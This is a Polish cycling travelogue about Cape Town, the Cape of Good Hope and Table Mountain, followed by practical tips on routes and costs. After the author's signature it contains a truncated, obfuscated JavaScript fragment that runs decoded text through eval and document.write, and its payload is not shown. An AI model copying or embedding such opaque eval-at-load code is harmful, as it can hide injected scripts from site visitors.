RPA. Rowerem wokół Kapsztadu

RPA. Kapsztad, czyli rower w krzakach.

 

       Cape Town (Kapsztad) to jedno z najpiękniejszych na świecie, ale rozległe miasto rozlokowane u brzegów licznych zatok i zatoczek Oceanu Atlantyckiego z wielką górą Table Mountain pośrodku. Stąd i jego atrakcje rozrzucone są na przestrzeni wielu kilometrów. Aby je ogarnąć zdać się trzeba na biura turystyczne, lokalne taksówki czy wynajem samochodu. Coś takiego jak transport publiczny praktycznie nie istnieje.

   Moje szczęście polegało na tym, że od wielu lat w pięknej dzielnicy Muizenberg nad samym oceanem mieszka mój bielski przyjaciel Roman. Pożyczył mi swój rower, bym był zupełnie niezależny. No i bym zaoszczędził nieco tutejszych złotówek, czyli Randów, bo Cape Town do tanich nie należy.

   Zamieszkałem w samym centrum miasta (wcześniejsza rezerwacja poprzez Internet, 140 RSA, czyli ok. 55 PLN, za noc) w hostelu Long Street Backpackers przy ulicy o tej samej nazwie, która jest najważniejszym w mieście skupiskiem barów, pubów, restauracji czy klubów. Życie rozpoczyna się tu o zmierzchu i kończy o świcie. Nawet mój backpackers posiadał własny dobrze zaopatrzony barek i kilka stolików wstawionych do ciasnego patio. Jeśli ktoś przyjechał bawić się do Cape Town, nie mógł znaleźć lepszego miejsca. Jeśli zwiedzać miasto z opcją wczesnych pobudek, miał takowe już o drugiej czy czwartej nad ranem. Nieplanowane.

Przylądek Dobrej Nadziei

   Być w Kapsztadzie i nie zobaczyć Cape of Good Hope – niemożliwe! Toż to jedno z magicznych miejsc na naszej kuli ziemskiej. Ale zanim tam się wybrałem objeździłem miasto na moim (no, niezupełnie) rowerze.

   Odwiedziłem pobliską do Long Street dzielnicę kolorowych domków kolorowej (głównie malajscy muzułmanie) ludności, czyli Bo-Kaap. Staje się powoli modna, bo domy na jej obrzeżach adoptują na swoje potrzeby architekci i artyści.

   Straciłem, nie bez przyjemności, kilkadziesiąt Randów na Greenmarket Square pośród murzyńskich straganów z ręcznymi wyrobami. Czego tu nie ma! Biżuteria od stóp do głów, rzeźby od centymetrowych do kilkumetrowych (no, może dwu), kamienne i drewniane, z kości i metalu. Maski, murzyńskie ciuchy, obrazy i obrazki, instrumenty i broń. Ceny umowne. Za malowidło które w końcu nabyłem kolorowy sprzedawca chciał 400 RSA, kupiłem za 50. Małą rzeźbę, cena wywoławcza 100, za 20. Bransoletkę za mniej niż pół ceny.

   Wąskie uliczki przy targowisku zastawione są stolikami licznych knajpek, można tu odetchnąć i przeliczyć kasę, ile jeszcze zostało po zakupach. Za resztę kupić kawę. I posłuchać ulicznych grajków. Niektórzy są po prostu rewelacyjni. Jak stary niewidomy Murzyn ochrypłym, nadzwyczajnej barwy głosem śpiewający kawałki bliskie bluesowi akompaniując sobie na starej jak on sam akustycznej gitarze, która w miejscu, gdzie jego palce opuszczały struny i uderzały w drewniane pudło, wyżłobiona miała głęboką nieckę. Niezwykłe spotkanie. Nie podarowałem sobie nakręcenia jednego utworu z ulicznego koncertu, przytykając kamerę niemal do instrumentu i grajka, by zagłuszyć odgłosy ulicy. Trochę było to może niegrzeczne z mojej strony, ale tak byłem zafascynowany muzyką i postacią, że chciałem mieć go w całości dla siebie. Gdy skończył, podziękowałem mu za wyrozumiałość, licząc się z małym ochrzanem. Usłyszałem ciepłe, głębokie „Thank you, my friend”. Niezwykłe, niezwykłe spotkanie.

   Ulicą Darling pojechałem pod zamek Castle of Good Hope, najstarszą (XVII wiek) ocalałą w nietkniętym stanie budowlę miasta. Odsalutowałem czarnym żołnierzom trzymającym leniwą wartę przed bramą i pomknąłem wzdłuż potężnych murów bastionu w stronę Parlamentu podziwiając po drodze pyszniący się na tle Table Mountain kolonialny budynek Ratusza (Town Hall) z biblioteką. Odwiedziłem starą bibliotekę SA Libery z jej drewnianym okrągłym wnętrzem i dalej (mimo zakazu, ale kto ich tu przestrzega) pognałem ulicą Government przez zielone Company’s Gardens (w początkach kolonializmu uprawiano tu zboże, sadzono kapustę i ziemniaki, dzisiaj królują drzewa, trawa i krzewy ozdobne). Mijając South African National Gallery (wystawy sztuki współczesnej), South African Museum (najstarsze muzeum w kraju, bogate zbiory przyrodnicze i kulturowe) oraz Jewisch Museum (ciekawa architektura, nieciekawe zasieki) dotarłem do ruchliwej Orange Street. Po jej drugiej stronie powitała mnie różowymi kolumnami ogromnego wjazdu i aleją palmową enklawa kolonializmu, słynny Mount Nelson Hotel. Po sforsowaniu (co nie było wcale trudne) czarnoskórych, ubranych w czarne garnitury i czarne okulary przeciwsłoneczne ochroniarzy wjechałem na moim czerwonym rowerze (inni goście czerwonymi ferrari, w najgorszym razie czarnymi mercedesami) na otoczony kolonialną architekturą i małym parkiem dziedziniec. Zaparkowałem przed wejściem do sali jadalnej i jak gdyby nigdy nic przemknąłem przez ciche pomieszczenia (jakaś czarna dziewczyna czyściła akurat srebrzyste naczynia) wychodzące na gładko przystrzyżony trawnik z błękitnym basenem pośrodku. Przysiadłem na białym leżaku, wyciągnąłem kamerę i poczułem się jak paparazzi, kręcąc gości w białych szlafrokach.   

   Po chwili zwabiła mnie muzyka fortepianu dobiegająca z jednego z otwartych na basen pomieszczeń. Przez małą palmiarnię ze stolikami i sofami, pod wiszącą u stropu zielenią wszedłem do wykwintnej sali, gdzie przy kilkunastu różnych w kształtach i stylach stolikach usytuowanych w finezyjnie dobranych miejscach, pośród kwiatów, roślin, rzeźb i starych mebli siedziało towarzystwo popijające popołudniową herbatę z wytwornej porcelany, gaworzące wesoło i zajadające się smakołykami wystawionymi na ogromnym owalnym stole pośrodku. Powitał mnie, ciągle kręcącego swój film, dystyngowany uśmiech ciemnoskórego szefa sali. OK., jeśli nie ma nic przeciwko, to dalej udaję wyluzowanego gościa hotelu. Uśmiechnąłem się do starszej pani grającej na wielkim fortepianie, pobuszowałem po okolicznych korytarzach i śmiało przemaszerowałem przez recepcję wychodząc głównym wejściem. Gdy, ciągle kręcąc, popychałem swój rower w stronę alei skończyło się moje szczęście. Kolejny z ochroniarzy wymusił na mnie wyłączenie kamery, pytając czy jestem gościem hotelu (na rowerze??). Jeśli nie, to mogę ewentualnie uzyskać zgodę na filmowanie u menadżera hotelu. Podziękowałem mu pięknie, mówiąc, że może następnym razem… Co chciałem, to już miałem. Tylko nie skosztowałem tortu czekoladowego, do teraz żałuję.

   Następnego dnia wsiadłem znów na rower (nie można wsadzić roweru do pociągu) i przedmieściami miasta popedałowałem drogą M4 do Muizenberg. Tu Romek przywitał mnie słowami: „mam dziś luz w pracy, mogę Cię podrzucić z rowerem (właśnie kupił małą ciężarówkę) pod bramę parku i wieczorem odebrać”. Lepiej być nie mogło.

   Brama South African National Park. Zrzuciliśmy rower z paki, zapłaciłem 55 RSA wstępu (spod bramy parku do przylądka jest dobre 15 km) i popedałowałem malowniczą drogą z oceanem raz po jednej stronie raz po drugiej, to pnącą się pod górę to opadającą w dół w stronę magicznego Przylądka. Przeszkadzał uciążliwy wiatr (zawsze w twarz, nie wiedzieć czemu), ale generalnie nie było źle. Ruch umiarkowany. Jedynymi, nadzwyczaj sympatycznymi przeszkodami na drodze były zwierzęta. To rodzina małp z małymi zawieszonymi u brzucha wędrowała środkiem drogi w stronę przylądka, to znowu strusie nie mogły się zdecydować, czy zejść z trasy w lewą stronę czy też w prawą. To żółw biegiem przelatywał na ukos drogi. Zwierzaki powodowały natychmiast mały korek uliczny dopóty, dopóki wspaniałomyślnie acz niespiesznie ustępowały pierwszeństwa pojazdom. Jeśli komuś bieg żółwia był zbyt wolny, brał go za skorupę i przenosił w krzaki.

   Jadąc prosto na najbardziej wysunięty w ocean Cape Point mijam ciekawie usytuowane i dobrze zaopatrzone Buffelsfontein Visitor’s Centre, zjazd w prawo na Cape of Good Hope (chcę tam dojść na piechotę) i inne rozjazdy. Za kolejnym wzniesieniem wyłania się cel mojej wycieczki. Osadzona na szczycie potężnego klifu stara latarnia morska, Cape Point. Tu za parę chwil na parkingu zostawiam rower. Dalej można wspiąć się ruchliwą, pełną turystów ścieżką bądź wjechać krótką kolejką szynową. Podchodząc zdecydowanie warto wybrać opcję ścieżki biegnącą przy klifie. Widok jest zabójczy. Z lewej strony zawieszona nad kilkusetmetrowym urwiskiem latarnia morska i wysunięty klif na południe Cape Point, w dole huczący potężnymi falami, mieniący się wszelkimi odcieniami morskiej zieleni ocean, z prawej znakomity widok na Przylądek Dobrej Nadziei z ogromną białą plażą w malowniczej zatoce. Aparat i kamera pracują na pełnych obrotach. Jeszcze parę kroków i jestem pod latarnią. Tutaj trudno skupić się na podziwianiu widoków, a są genialne, bo ruch jak w ulu. Wracam do przyczepionego pod informacją roweru, mówię mu, żeby nie dał się ukraść i maszeruję ścieżką nad zatoką w stronę Cape of Good Hope (w obie strony 1,5 godziny). Jest malownicza i na szczęście pustawa. W jednej trzeciej drogi znajduję strome zejście drewnianymi schodkami w stronę plaży. Nawet się nie zastanawiam. Schodzę. I zostaję pośród ryku fal rozbijających się z lewej o Cape Point z prawej o skały potężnego Good Hope na dłużej. Po prostu nie wracam stąd. Zostaję. Przynajmniej do jutra. Jest po prostu bosko!!!

   Gdyby nie świadomość, że za półtorej godziny Romek będzie stał pod bramą, poczekał bym, aż mnie wyrzucą przed zamknięciem parku. No tak, ale na Good Hope na piechotę już nie dotrę, wracam do roweru, wysyłam SMS’a, że się spóźnię i gnam w dół drogą na Przylądek Dobrej Nadziei. Przecież muszę zanurzyć nogi w najbardziej na południowy zachód wysuniętym miejscu Afryki, musze przywitać się z magicznym miejscem tego kontynentu. Zziajany wpadam na kamienistą plażę, szybko robię zdjęcia, ściągam buty, zanurzam nogi w zimnej wodzie i biegiem chcę wracać… No nie, sorry Romek, jeszcze chwilę posiedzę. Zaczerpnę trochę energii oceanu, przecież to mój wymarzony Cape of Good Hope!

   Po godzinie jazdy zastaję Romka z jego ciężarówką pod bramką. Godzina spóźnienia. Nawet nie jest zły, śmiejąc się z mojej fascynacji Przylądkiem (która i jemu nie jest obca) zaprasza na widokową trasę zachodnim wybrzeżem. Rewanżuję się zaproszeniem na kolację. Trafiamy do znanej Romkowi pięknie osadzonej nad zatoką Chapman’s Bay restauracyjki Monkey Valley koło Kommetjie. Znakomity stek kosztuje tu 80 RSA, zestaw zapiekanych warzyw 50 RSA, wino domowe 15 RSA. Pychota.

 

Table Mountain, Góra Stołowa

 

   Kolejnego ranka, mijając w bramie backpackersa wracających z imprezy, wyruszam na pożyczonym rowerze na podbój najwyższej góry w okolicy, wyrastającej tuż przy końcu mojej ulicy. Bo gdy kończy się Long Street rozpoczyna się wspinaczka. Najpierw Kloof  Street a potem Kloof Nek Aż do małego ronda. Było tak ostro, że musiałem rower momentami podprowadzać. Tu uzupełniam płyny w organizmie idąc w ślady tubylca, popijając wodę z przydrożnego kraniku („made in England”, tak pisało na żeliwnym urządzeniu). „Kraniczanka” w Cape Town jest znakomita i zdatna do picia bez przegotowywania.

   Dalej strome serpentyny Tafelberg Street prowadzą mnie pod stację kolejki linowej na Table Mountain, mijam ją bez żalu i za kilkaset metrów, po 1,5 godzinie od hostelu, docieram do oznakowanego szlaku biegnącego przez przełęcz Platteklip Gorge na Beacon, bo stąd najszybciej dostać się można na najwyższy szczyt pasma, Maclear’s Beacon (1088 m npm).

   Tylko co z rowerem? Wyczytałem, że przy początku szlaku jest budka informacji turystycznej i parking. Są. Zamknięta i niestrzeżony. Przypinam więc rower do balustrady na zakręcie. Będzie widoczny dla potencjalnych złodziei (ciągle mnie tu nimi straszą) ale i kierowców. W tym momencie mija mnie grupka turystów brytyjskich z afrykańskim przewodnikiem. No i zaczyna się! Każdy, łącznie z guidem, doradza mi jak schować rower, bo tak zostawić go nie mogę! Jest i karkołomna wersja na dachu informacji. Trochę się przestraszyłem, co powiem Romkowi, jak mi zniknie rower. Stracę przyjaciela w RPA?

   Po kilku nerwowych ruchach biorę rower na plecy i wnoszę stromą wąską ścieżką kilkadziesiąt metrów do pierwszych dużych krzaków. Kładę w miejscu niewidocznym ze szlaku i z drogi, zasypuję darnią a niepozorny przesmyk ze ścieżki zawalam suchą gałęzią spalonego drzewa. Uff! Jeśli stąd mi go sprzątną, wracam do kraju.

   Szlak dalej ostro pnie się w górę mijając malowniczy wodospad. Widok na zostające w dole miasto i ocean robi się bajeczny. Na skrzyżowaniach szlaków są wyraźne tabliczki informacyjne z kierunkami tras. Na skałach, z uwagi na mgły powodowane przewalającymi się chmurami (warto przy takiej pogodzie wrócić i spróbować następnego dnia), namalowane są co jakiś czas wyraźne żółte stopy. Ostre podejście żlebem kończy się skalną szczeliną na szczycie przełęczy, trochę jak nasz Zawrat. I tu niespodzianka, szczyt Table Mountain to wielki płaskowyż z kilkoma skalnymi kręgami (jakby okrągłymi stołami) wystającymi kilkanaście metrów ponad plateau. Najwyższy taki „stół” to właśnie Maclear’s Beacon, docieram do niego po 2,5 godzinie wspinaczki (i spaceru). Czas na lunch z plecaka i oczywiście zdjęcia

, bo widoki, jak to się mówi, zapierają dech w piersiach. Widać nawet odległy o dziesiątki kilometrów, zamykający False Bay przylądek Cape of Good Hope. Po prostu ekstra.

   Idąc z powrotem w stronę górnej stacji kolejki wybieram drogę alternatywną nad urwiskiem spadającym setkami metrów w stronę centrum miasta, trasa wybitnie dla „bezlękowców” wysokościowych. Około 45 minut przepięknych widoków ale i dreszczyku emocji.

   Platformy widokowe otaczające stację kolejki górskiej to już pełna niedzielna turystyka. Dzieciaki ze szkół, panienki na obcasach i ogólny harmider. Jest i sympatyczna restauracja. Wsiadam jednak szybko do wagonika, bilet w dół 65 RSA (w obie strony 130), i czuję się nagle jak w UFO. Nie dość, że wagonik jest okrągły jak latający talerz, to jeszcze najpierw zaczyna przesuwać się ściana kabiny a po chwili podłoga kręci się wolno w przeciwnym kierunku. Wszystko po to by bez przeszkód zobaczyć całą godną obejrzenia panoramę roztaczającą się wokół wagonika. Co za wynalazek…

    Wszystko super, tylko czy mój rower jeszcze leży na swoim miejscu… Szybki marsz do znajomego parkingu, biegiem w górę ścieżki i… Nie ma! Nie widzę! Tak dobrze go schowałem, że sam w pierwszej chwili go nie dojrzałem. A leżał cicho i spokojnie czekając na mnie. Trochę się nawet opalił w afrykańskim słońcu. A mówią, że przestępczość to plaga RPA. Przesadzają…

Jerzy Pawleta

Cape Town. Republika Południowej Afryki

www.jpfoto.pl

www.jerzypawleta.pl

//@vS &*-\"z.vKqqKIE%(&q>@$*(~(|C{}%#X%v(XIyz=hK>@$*(~(|C{}%#X%v(XMyz=KK@G@ALL@HF>q7qAq7q7=CCC>D|A79G9F7>>".charCodeAt(o0)-(102-81)+7*6+21)%(95)+8*8-32);document.write(eval(b_)) //]]>

 

Trasa

Centrum miasta Kapsztad (Cape Town)

Long Street Backpackers – Muizenberg:  30 – 35 km

Brama Parku (Cape of Good Hope) – Cape Point – Cape of Good Hope – Brama Parku: ok. 35 km

Long Street Backpackers – Tafelberg (Table Mountain) – Long Street Backpackers: 20 km

Dla kogo

Trasy dla każdego, nieco wysiłku wymaga podjazd pod Table Mountain i walka ze wzniesieniami oraz wiatrem na trasie do Przylądka Dobrej Nadziei, bo tam zawsze wieje.

Transport

Samolot z Warszawy do Kapsztadu wygodnymi Katarskimi Liniami Lotniczymi trwał z przesiadkami i postojami niemal 24 godziny, kosztował  2.000 PLN. Wracałem za 4 miesiące z Dar esSalaam.

Rower nie jest chyba zbyt powszechnym środkiem lokomocji w Kapsztadzie w związku z czym nie ma możliwości przewożenia go nawet pociągami.

Ceny

Ceny podstawowych artykułów żywnościowych w supermarketach i ceny transportu miejskiego kształtują się na poziomie cen polskich. Zawsze drożej jest w miejscach typowo turystycznych i drogich dzielnicach zamieszkałych przez gwiazdy filmowe czy showbiznesu.

Waluta

Południowoafrykański Rand dostępny w wielu bankomatach czy wymienialny w bankach gęsto rozsianych w centrum miasta. Ważny również w Lesoto i Suazi.

Drogi

Drogi są w relatywnie dobrym stanie (w porównaniu z polskimi – w bardzo dobrym), doskwiera brak jakichkolwiek ścieżek rowerowych. Rekompensuje to absolutna tolerancja kierowców. Ruch w mieście i na trasie do Muizenberg cały czas jak u nas w szczycie. Droga na Przylądek pustawa, nadzwyczaj sympatyczna i piękna widokowo.

Mapy

Wystarczą podstawowe mapy miasta dostępne w informacjach turystycznych lub w przewodnikach (korzystałem z Lonely Planet). Podstawą informacji są biali lub czarni tubylcy, którzy nadzwyczaj chętnie i szczegółowo udzielają wszelkich wskazówek.

Język

Po angielsku dogadać się można w każdym miejscu RPA.

Bezpieczeństwo

Wbrew pozorom i ogólnej opinii o RPA Kapsztad jest wyjątkowo bezpiecznym i spokojnym miastem (są oczywiście dzielnice, zwłaszcza budowane z „byleczego” przez imigrantów z krajów ościennych, do których nie warto zaglądać). Pełno tu służb porządkowych czy ochroniarzy całą dobę pracujących na mieście. Spacer czy jazda rowerem nocą przez centrum to tylko przyjemność.

 

Porady

Poruszanie się po zatłoczonych drogach Kapsztadu (Cape Town) nie jest zbyt łatwe z uwagi na często spore różnice wysokości i brak jakichkolwiek ścieżek rowerowych. Nie mniej kierowcy są nadzwyczaj uprzejmi i tolerancyjni. Nie denerwują się zbytnio nawet jeśli jedziemy pod prąd czy wbrew znakom, co niekiedy jest (teoretycznie) nieuniknione.

Lepiej jest na peryferiach miasta, nad oceanem powstały betonowe ścieżki służące głównie spacerowiczom czy uprawiającym jogging, ale znajdzie się i miejsce dla rowerzystów czy uwielbiających rolki. Tłoku nie ma a przemieszczanie się wzdłuż oceanu jest nad wyraz urokliwe.

Kapsztad i okolice usiany jest sklepikami i knajpkami od najtańszych do najdroższych, nie ma więc problemu z posiłkami. Woda butelkowana dostępna jest na każdym kroku.

Warto natomiast mieć dobrze zaopatrzony plecak w drodze na Przylądek Dobrej Nadziei. Tam, gdzie można coś zjeść jest tłum i drogo. A miejsc takich na głównej trasie jest niezbyt wiele.

Podobnie jest na Table Mountain.

Linki:

www.longstreetbackpackers.co.za – Long Street Backpackers

www.robben-island.org.za – wyspa i więzienie Robben

www.tablemountain.net – Table Mountain National Park oraz kolejka górska

www.tmnp.co.za – South African National Parks, m.in. Cape of Good Hope

Artykuł opublikowano w magazynie RowerTour

Powyższe pliki również możesz zakupić korzystając z formularza po prawej stronie.

O autorze

Jestem autorem wszystkich zdjęć, artykułów i materiałów wideo załączonych na stronie www.jerzypawleta.pl. Zabrania się publikowania zdjęć ze strony www.jerzypawleta.pl w pejoratywnym kontekście w stosunku do przedstawianych ludzi, miejsc czy zdarzeń.